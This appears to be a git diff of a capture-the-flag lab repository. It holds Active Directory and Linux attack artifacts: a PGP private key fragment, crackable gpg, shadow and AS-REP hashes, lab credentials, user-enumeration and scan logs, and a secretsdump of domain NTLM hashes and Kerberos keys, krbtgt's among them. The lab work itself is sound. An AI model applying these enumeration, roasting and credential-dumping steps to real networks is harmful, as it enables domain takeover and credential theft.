yeEFI7a/bpwNr0iZf/k/nvCAHavnIn6TjbGyfz6aw1vkmHgTuLCmSeBUN+DexOjb
|
||||
HYDjUHoUDZ+bZsdWaum6n7CfhnRNES47oEWzRLZ0Qn+qZue95Fjaq2Wt/BLkLVcV
|
||||
fDZjsqJhQNKuWRQ2YpZ4IPZOVnEC378FrWzXazy3vKdImnxJe9H2Fblw2KNywRce
|
||||
sBvx/HyCWLNCQCT1/MVaRTYBLYtZ8ySAd4qlQKKLWYbN3zPQaDmfSKQH/i9yC0FN
|
||||
cVJYwdagepQPWuETN641ngqn7pQBxq8yfbCoTT9+SENPOMfj8sfShWyoMw43gN79
|
||||
0ZduyHnPPO4TFs/GZrxLuflAVMrPEkQeK67WheygdxDNH2QgnrbcLpFGrI9AbHQF
|
||||
PU3EhFxUvvo5AhYNqfERsg71VSGTJiOJKcicLCop2YjRFh23KTllpCdB+wDo7l4q
|
||||
lBPg1O2LnmFaYnJ6j7HcwJ824dfFOQGqc0nr+Ev6kFw3hr3uZeLcFH7HmSgeSah0
|
||||
4baXLdqx/oU1y2EWsMtgxvgvMv+7AV/pH8m3ii+Z2OHvGdYaA/oBpkj8A0tADwM7
|
||||
v2OQ3yKJL8S8Bbq0ImFub25mb3JjZSA8bWVsb2RpYXNAYW5vbmZvcmNlLm5zYT6I
|
||||
XgQTEQgABgUCXVDlvQAKCRC5LNHygK2Cwu1gAP4ydadlQ8guYh1a8MearxuTj206
|
||||
NV+qu7R7/+W5oEjaOgD+O6Kd1DvwPNdtDoVCDwooio5w2jpy6QpRDouUB9FWjOW4
|
||||
zARdUOW9EAIAlJT+wJXzuF7ihlQrODb8gaXdCgNJtMI53Th0TUiM+OMduLy30ztB
|
||||
q7nlozzKkUSxzvMyyUvwVzvwR6OsqYzfOwH9FT1dYXKttDBFtoro4d4QcLYTcAVo
|
||||
bSnT1zp3SRmWge5bISyblr/c+lsgzV4/0gRIldYJz5tBC3oPEsocuaQozAIAiFTC
|
||||
O1wkD1KE1FI8dDpBmYAiH8It1YRN8WpjI/f40XZDIq7ulZEPfXh3u7wTFOKNn75B
|
||||
HPThCe2q0krcdZBmsIheBBgRCAAGBQJdUOW9AAoJELks0fKArYLCNqUBAJEvBOqO
|
||||
Um8ze0LI7MiExxECea560p1r7WmEbKuKBeOPAPoDWDbsWSZpUq7Qj9CWla/vkGUs
|
||||
3ELdayAA8xm2L+QD7Q==
|
||||
=Wwny
|
||||
-----END PGP PRIVATE KEY BLOCK-----
|
||||
1
CTF/Anonforce/privateJohn
Normal file
1
CTF/Anonforce/privateJohn
Normal file
@@ -0,0 +1 @@
|
||||
anonforce:$gpg$*17*54*2048*e419ac715ed55197122fd0acc6477832266db83b63a3f0d16b7f5fb3db2b93a6a995013bb1e7aff697e782d505891ee260e957136577*3*254*2*9*16*5d044d82578ecc62baaa15c1bcf1cfdd*65536*d7d11d9bf6d08968:::anonforce <melodias@anonforce.nsa>::private.asc
|
||||
1
CTF/Anonforce/private_hash
Normal file
1
CTF/Anonforce/private_hash
Normal file
@@ -0,0 +1 @@
|
||||
anonforce:$gpg$*17*54*2048*e419ac715ed55197122fd0acc6477832266db83b63a3f0d16b7f5fb3db2b93a6a995013bb1e7aff697e782d505891ee260e957136577*3*254*2*9*16*5d044d82578ecc62baaa15c1bcf1cfdd*65536*d7d11d9bf6d08968:::anonforce <melodias@anonforce.nsa>::private.asc
|
||||
1
CTF/Anonforce/root_hash
Normal file
1
CTF/Anonforce/root_hash
Normal file
@@ -0,0 +1 @@
|
||||
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
|
||||
1
CTF/AttacktiveDirectory/backup_creds.txt
Normal file
1
CTF/AttacktiveDirectory/backup_creds.txt
Normal file
@@ -0,0 +1 @@
|
||||
backup@spookysec.local:backup2517860
|
||||
158
CTF/AttacktiveDirectory/enum4linux_scan1.txt
Normal file
158
CTF/AttacktiveDirectory/enum4linux_scan1.txt
Normal file
@@ -0,0 +1,158 @@
|
||||
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct 15 16:46:08 2025
|
||||
|
||||
[34m =========================================( [0m[32mTarget Information[0m[34m )=========================================
|
||||
|
||||
[0mTarget ........... 10.10.241.222
|
||||
RID Range ........ 500-550,1000-1050
|
||||
Username ......... ''
|
||||
Password ......... ''
|
||||
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
|
||||
|
||||
|
||||
[34m ===========================( [0m[32mEnumerating Workgroup/Domain on 10.10.241.222[0m[34m )===========================
|
||||
|
||||
[0m[33m
|
||||
[E] [0m[31mCan't find workgroup/domain
|
||||
|
||||
[0m
|
||||
|
||||
[34m ===============================( [0m[32mNbtstat Information for 10.10.241.222[0m[34m )===============================
|
||||
|
||||
[0mLooking up status of 10.10.241.222
|
||||
No reply from 10.10.241.222
|
||||
|
||||
[34m ===================================( [0m[32mSession Check on 10.10.241.222[0m[34m )===================================
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mServer 10.10.241.222 allows sessions using username '', password ''
|
||||
|
||||
[0m
|
||||
[34m ================================( [0m[32mGetting domain SID for 10.10.241.222[0m[34m )================================
|
||||
|
||||
[0mDomain Name: THM-AD
|
||||
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
|
||||
[33m
|
||||
[+] [0m[32mHost is part of a domain (not a workgroup)
|
||||
|
||||
[0m
|
||||
[34m ==================================( [0m[32mOS information on 10.10.241.222[0m[34m )==================================
|
||||
|
||||
[0m[33m
|
||||
[E] [0m[31mCan't get OS info with smbclient
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mGot OS info for 10.10.241.222 from srvinfo:
|
||||
[0mdo_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
|
||||
|
||||
|
||||
[34m =======================================( [0m[32mUsers on 10.10.241.222[0m[34m )=======================================
|
||||
|
||||
[0m[33m
|
||||
[E] [0m[31mCouldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
|
||||
|
||||
[0m
|
||||
[33m
|
||||
[E] [0m[31mCouldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
|
||||
|
||||
[0m
|
||||
[34m =================================( [0m[32mShare Enumeration on 10.10.241.222[0m[34m )=================================
|
||||
|
||||
[0mdo_connect: Connection to 10.10.241.222 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
|
||||
|
||||
Sharename Type Comment
|
||||
--------- ---- -------
|
||||
Reconnecting with SMB1 for workgroup listing.
|
||||
Unable to connect with SMB1 -- no workgroup available
|
||||
[33m
|
||||
[+] [0m[32mAttempting to map shares on 10.10.241.222
|
||||
|
||||
[0m
|
||||
[34m ===========================( [0m[32mPassword Policy Information for 10.10.241.222[0m[34m )===========================
|
||||
|
||||
[0m[33m
|
||||
[E] [0m[31mUnexpected error from polenum:
|
||||
|
||||
[0m
|
||||
|
||||
[+] Attaching to 10.10.241.222 using a NULL share
|
||||
|
||||
[+] Trying protocol 139/SMB...
|
||||
|
||||
[!] Protocol failed: Cannot request session (Called Name:10.10.241.222)
|
||||
|
||||
[+] Trying protocol 445/SMB...
|
||||
|
||||
[!] Protocol failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
|
||||
|
||||
|
||||
[33m
|
||||
[E] [0m[31mFailed to get password policy with rpcclient
|
||||
|
||||
[0m
|
||||
|
||||
[34m ======================================( [0m[32mGroups on 10.10.241.222[0m[34m )======================================
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mGetting builtin groups:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting builtin group memberships:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting local groups:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting local group memberships:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting domain groups:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting domain group memberships:
|
||||
|
||||
[0m
|
||||
[34m ==================( [0m[32mUsers on 10.10.241.222 via RID cycling (RIDS: 500-550,1000-1050)[0m[34m )==================
|
||||
|
||||
[0m[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-5-21-3591857110-2884097990-301047963
|
||||
[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-5-21-3591857110-2884097990-301047963
|
||||
[33m
|
||||
[+] [0m[32mEnumerating users using SID S-1-5-21-3532885019-1334016158-1514108833 and logon username '', password ''
|
||||
|
||||
[0mS-1-5-21-3532885019-1334016158-1514108833-500 ATTACKTIVEDIREC\Administrator (Local User)
|
||||
S-1-5-21-3532885019-1334016158-1514108833-501 ATTACKTIVEDIREC\Guest (Local User)
|
||||
S-1-5-21-3532885019-1334016158-1514108833-503 ATTACKTIVEDIREC\DefaultAccount (Local User)
|
||||
S-1-5-21-3532885019-1334016158-1514108833-504 ATTACKTIVEDIREC\WDAGUtilityAccount (Local User)
|
||||
S-1-5-21-3532885019-1334016158-1514108833-513 ATTACKTIVEDIREC\None (Domain Group)
|
||||
[33m
|
||||
[+] [0m[32mEnumerating users using SID S-1-5-21-3591857110-2884097990-301047963 and logon username '', password ''
|
||||
|
||||
[0mS-1-5-21-3591857110-2884097990-301047963-500 THM-AD\Administrator (Local User)
|
||||
S-1-5-21-3591857110-2884097990-301047963-501 THM-AD\Guest (Local User)
|
||||
S-1-5-21-3591857110-2884097990-301047963-502 THM-AD\krbtgt (Local User)
|
||||
S-1-5-21-3591857110-2884097990-301047963-512 THM-AD\Domain Admins (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-513 THM-AD\Domain Users (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-514 THM-AD\Domain Guests (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-515 THM-AD\Domain Computers (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-516 THM-AD\Domain Controllers (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-517 THM-AD\Cert Publishers (Local Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-518 THM-AD\Schema Admins (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-519 THM-AD\Enterprise Admins (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-520 THM-AD\Group Policy Creator Owners (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-521 THM-AD\Read-only Domain Controllers (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-522 THM-AD\Cloneable Domain Controllers (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-525 THM-AD\Protected Users (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-526 THM-AD\Key Admins (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-527 THM-AD\Enterprise Key Admins (Domain Group)
|
||||
S-1-5-21-3591857110-2884097990-301047963-1000 THM-AD\ATTACKTIVEDIREC$ (Local User)
|
||||
|
||||
[34m ===============================( [0m[32mGetting printer info for 10.10.241.222[0m[34m )===============================
|
||||
|
||||
[0mdo_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
|
||||
|
||||
|
||||
enum4linux complete on Wed Oct 15 16:56:19 2025
|
||||
|
||||
19
CTF/AttacktiveDirectory/kerbrute_userenum.txt
Normal file
19
CTF/AttacktiveDirectory/kerbrute_userenum.txt
Normal file
@@ -0,0 +1,19 @@
|
||||
2025/10/15 17:08:13 > Using KDC(s):
|
||||
2025/10/15 17:08:13 > 10.10.241.222:88
|
||||
2025/10/15 17:08:14 > [+] VALID USERNAME: james@spookysec.local
|
||||
2025/10/15 17:08:16 > [+] VALID USERNAME: svc-admin@spookysec.local
|
||||
2025/10/15 17:08:19 > [+] VALID USERNAME: James@spookysec.local
|
||||
2025/10/15 17:08:19 > [+] VALID USERNAME: robin@spookysec.local
|
||||
2025/10/15 17:08:30 > [+] VALID USERNAME: darkstar@spookysec.local
|
||||
2025/10/15 17:08:38 > [+] VALID USERNAME: administrator@spookysec.local
|
||||
2025/10/15 17:08:58 > [+] VALID USERNAME: backup@spookysec.local
|
||||
2025/10/15 17:09:10 > [+] VALID USERNAME: paradox@spookysec.local
|
||||
2025/10/15 17:10:06 > [+] VALID USERNAME: JAMES@spookysec.local
|
||||
2025/10/15 17:10:20 > [+] VALID USERNAME: Robin@spookysec.local
|
||||
2025/10/15 17:11:32 > [+] VALID USERNAME: Administrator@spookysec.local
|
||||
2025/10/15 17:13:37 > [+] VALID USERNAME: Darkstar@spookysec.local
|
||||
2025/10/15 17:14:13 > [+] VALID USERNAME: Paradox@spookysec.local
|
||||
2025/10/15 17:16:28 > [+] VALID USERNAME: DARKSTAR@spookysec.local
|
||||
2025/10/15 17:17:03 > [+] VALID USERNAME: ori@spookysec.local
|
||||
2025/10/15 17:18:07 > [+] VALID USERNAME: ROBIN@spookysec.local
|
||||
2025/10/15 18:13:51 > Done! Tested 73317 usernames (16 valid) in 908.038 seconds
|
||||
4
CTF/AttacktiveDirectory/nmap_scan1.gnmap
Normal file
4
CTF/AttacktiveDirectory/nmap_scan1.gnmap
Normal file
@@ -0,0 +1,4 @@
|
||||
# Nmap 7.95 scan initiated Wed Oct 15 16:46:53 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oG nmap_scan1.gnmap 10.10.241.222
|
||||
Host: 10.10.241.222 () Status: Up
|
||||
Host: 10.10.241.222 () Ports: 53/open/tcp//domain//Simple DNS Plus/, 80/open/tcp//http//Microsoft IIS httpd 10.0/, 88/open/tcp//kerberos-sec//Microsoft Windows Kerberos (server time: 2025-10-15 14:47:05Z)/, 135/open/tcp//msrpc//Microsoft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 389/open/tcp//ldap//Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)/, 445/open/tcp//microsoft-ds?///, 464/open/tcp//kpasswd5?///, 593/open/tcp//ncacn_http//Microsoft Windows RPC over HTTP 1.0/, 636/open/tcp//tcpwrapped///, 3268/open/tcp//ldap//Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)/, 3269/open/tcp//tcpwrapped///, 3389/open/tcp//ms-wbt-server//Microsoft Terminal Services/, 5985/open/tcp//http//Microsoft HTTPAPI httpd 2.0 (SSDP|UPnP)/ Ignored State: closed (986) Seq Index: 261 IP ID Seq: Incremental
|
||||
# Nmap done at Wed Oct 15 16:47:32 2025 -- 1 IP address (1 host up) scanned in 39.39 seconds
|
||||
70188
CTF/AttacktiveDirectory/passwordlist.txt
Normal file
70188
CTF/AttacktiveDirectory/passwordlist.txt
Normal file
File diff suppressed because it is too large
Load Diff
1
CTF/AttacktiveDirectory/smbshare_backup/backup_credentials.txt
Executable file
1
CTF/AttacktiveDirectory/smbshare_backup/backup_credentials.txt
Executable file
@@ -0,0 +1 @@
|
||||
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
|
||||
1
CTF/AttacktiveDirectory/svc-admin_hash.txt
Normal file
1
CTF/AttacktiveDirectory/svc-admin_hash.txt
Normal file
@@ -0,0 +1 @@
|
||||
$krb5asrep$23$svc-admin@spookysec.local@SPOOKYSEC.LOCAL:e8176354e982957381e03bc53754d362$3f246cdacd0203fab05c9aba71a5bd3a43fe80536702824aa6738baecd380039a70427d3e87aaed95f7a2a3b5f0c4138632fbc3fb5e379a1e6f635383588102c626d5decaaa11718c7798b4b0af686bab3a98af958794e0512ebe92f33603a6e13a4c08f7efa6c4805792f77923bf020247a0b98583126f8b95ce7aa70f69a13382ba5bde4ccc494ef29533ce98a703155cf163710fa1949611b4e8678ad22a84092791290169b2596fa5d828dedd28f402e223eefa0c8151fd9d28ae5d3d19b5afeee716f4ec5c132f7659636576feb35c80108dbbf084bf8acfb8a854ef100b01259a0a2f43b88f08c4cad17e75463c413
|
||||
16
CTF/AttacktiveDirectory/test_usernames.txt
Normal file
16
CTF/AttacktiveDirectory/test_usernames.txt
Normal file
@@ -0,0 +1,16 @@
|
||||
james@spookysec.local
|
||||
svc-admin@spookysec.local
|
||||
James@spookysec.local
|
||||
robin@spookysec.local
|
||||
darkstar@spookysec.local
|
||||
administrator@spookysec.local
|
||||
backup@spookysec.local
|
||||
paradox@spookysec.local
|
||||
JAMES@spookysec.local
|
||||
Robin@spookysec.local
|
||||
Administrator@spookysec.local
|
||||
Darkstar@spookysec.local
|
||||
Paradox@spookysec.local
|
||||
DARKSTAR@spookysec.local
|
||||
ori@spookysec.local
|
||||
ROBIN@spookysec.local
|
||||
76
CTF/AttacktiveDirectory/user_hashes.txt
Normal file
76
CTF/AttacktiveDirectory/user_hashes.txt
Normal file
@@ -0,0 +1,76 @@
|
||||
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
|
||||
|
||||
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
|
||||
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
|
||||
[*] Using the DRSUAPI method to get NTDS.DIT secrets
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
|
||||
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
|
||||
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
|
||||
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
|
||||
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
|
||||
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
|
||||
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
|
||||
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
|
||||
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
|
||||
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
|
||||
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
|
||||
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
|
||||
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
|
||||
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
|
||||
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
|
||||
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:ca09477729bf474d2cb1dfdd00306825:::
|
||||
[*] Kerberos keys grabbed
|
||||
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
|
||||
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
|
||||
Administrator:des-cbc-md5:2079ce0e5df189ad
|
||||
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
|
||||
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
|
||||
krbtgt:des-cbc-md5:b94f97e97fabbf5d
|
||||
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
|
||||
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
|
||||
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
|
||||
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
|
||||
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
|
||||
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
|
||||
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112
|
||||
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
|
||||
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
|
||||
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe
|
||||
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
|
||||
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
|
||||
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd
|
||||
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
|
||||
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
|
||||
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499
|
||||
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
|
||||
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
|
||||
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067
|
||||
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
|
||||
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
|
||||
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3
|
||||
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
|
||||
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
|
||||
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0
|
||||
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
|
||||
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
|
||||
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347
|
||||
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
|
||||
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
|
||||
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166
|
||||
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
|
||||
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
|
||||
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518
|
||||
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
|
||||
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
|
||||
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922
|
||||
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
|
||||
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
|
||||
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242
|
||||
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
|
||||
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
|
||||
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:701e5759c859973211bb4ba1567c031431e43c8e4ef49677c305bccab225c1de
|
||||
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:045d7818869ce52a555b7dac67c3a0a4
|
||||
ATTACKTIVEDIREC$:des-cbc-md5:3de0347cb33e835b
|
||||
[*] Cleaning up...
|
||||
73317
CTF/AttacktiveDirectory/userlist.txt
Normal file
73317
CTF/AttacktiveDirectory/userlist.txt
Normal file
File diff suppressed because it is too large
Load Diff
191
CTF/BasicPentesting/enum4linux_scan1.txt
Normal file
191
CTF/BasicPentesting/enum4linux_scan1.txt
Normal file
@@ -0,0 +1,191 @@
|
||||
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct 15 20:57:13 2025
|
||||
|
||||
[34m =========================================( [0m[32mTarget Information[0m[34m )=========================================
|
||||
|
||||
[0mTarget ........... 10.10.208.221
|
||||
RID Range ........ 500-550,1000-1050
|
||||
Username ......... ''
|
||||
Password ......... ''
|
||||
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
|
||||
|
||||
|
||||
[34m ===========================( [0m[32mEnumerating Workgroup/Domain on 10.10.208.221[0m[34m )===========================
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mGot domain/workgroup name: WORKGROUP
|
||||
|
||||
[0m
|
||||
[34m ===============================( [0m[32mNbtstat Information for 10.10.208.221[0m[34m )===============================
|
||||
|
||||
[0mLooking up status of 10.10.208.221
|
||||
BASIC2 <00> - B <ACTIVE> Workstation Service
|
||||
BASIC2 <03> - B <ACTIVE> Messenger Service
|
||||
BASIC2 <20> - B <ACTIVE> File Server Service
|
||||
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
|
||||
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
|
||||
WORKGROUP <1d> - B <ACTIVE> Master Browser
|
||||
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
|
||||
|
||||
MAC Address = 00-00-00-00-00-00
|
||||
|
||||
[34m ===================================( [0m[32mSession Check on 10.10.208.221[0m[34m )===================================
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mServer 10.10.208.221 allows sessions using username '', password ''
|
||||
|
||||
[0m
|
||||
[34m ================================( [0m[32mGetting domain SID for 10.10.208.221[0m[34m )================================
|
||||
|
||||
[0mDomain Name: WORKGROUP
|
||||
Domain Sid: (NULL SID)
|
||||
[33m
|
||||
[+] [0m[32mCan't determine if host is part of domain or part of a workgroup
|
||||
|
||||
[0m
|
||||
[34m ==================================( [0m[32mOS information on 10.10.208.221[0m[34m )==================================
|
||||
|
||||
[0m[33m
|
||||
[E] [0m[31mCan't get OS info with smbclient
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mGot OS info for 10.10.208.221 from srvinfo:
|
||||
[0m BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.15.13-Ubuntu
|
||||
platform_id : 500
|
||||
os version : 6.1
|
||||
server type : 0x809a03
|
||||
|
||||
|
||||
[34m =======================================( [0m[32mUsers on 10.10.208.221[0m[34m )=======================================
|
||||
|
||||
[0m
|
||||
|
||||
[34m =================================( [0m[32mShare Enumeration on 10.10.208.221[0m[34m )=================================
|
||||
|
||||
[0msmbXcli_negprot_smb1_done: No compatible protocol selected by server.
|
||||
|
||||
Sharename Type Comment
|
||||
--------- ---- -------
|
||||
Anonymous Disk
|
||||
IPC$ IPC IPC Service (Samba Server 4.15.13-Ubuntu)
|
||||
Reconnecting with SMB1 for workgroup listing.
|
||||
Protocol negotiation to server 10.10.208.221 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
|
||||
Unable to connect with SMB1 -- no workgroup available
|
||||
[33m
|
||||
[+] [0m[32mAttempting to map shares on 10.10.208.221
|
||||
|
||||
[0m//10.10.208.221/Anonymous [35mMapping: [0mOK[35m Listing: [0mOK[35m Writing: [0mN/A
|
||||
[33m
|
||||
[E] [0m[31mCan't understand response:
|
||||
|
||||
[0mNT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
|
||||
//10.10.208.221/IPC$ [35mMapping: [0mN/A[35m Listing: [0mN/A[35m Writing: [0mN/A
|
||||
|
||||
[34m ===========================( [0m[32mPassword Policy Information for 10.10.208.221[0m[34m )===========================
|
||||
|
||||
[0m
|
||||
|
||||
[+] Attaching to 10.10.208.221 using a NULL share
|
||||
|
||||
[+] Trying protocol 139/SMB...
|
||||
|
||||
[+] Found domain(s):
|
||||
|
||||
[+] BASIC2
|
||||
[+] Builtin
|
||||
|
||||
[+] Password Info for Domain: BASIC2
|
||||
|
||||
[+] Minimum password length: 5
|
||||
[+] Password history length: None
|
||||
[+] Maximum password age: 136 years 37 days 6 hours 21 minutes
|
||||
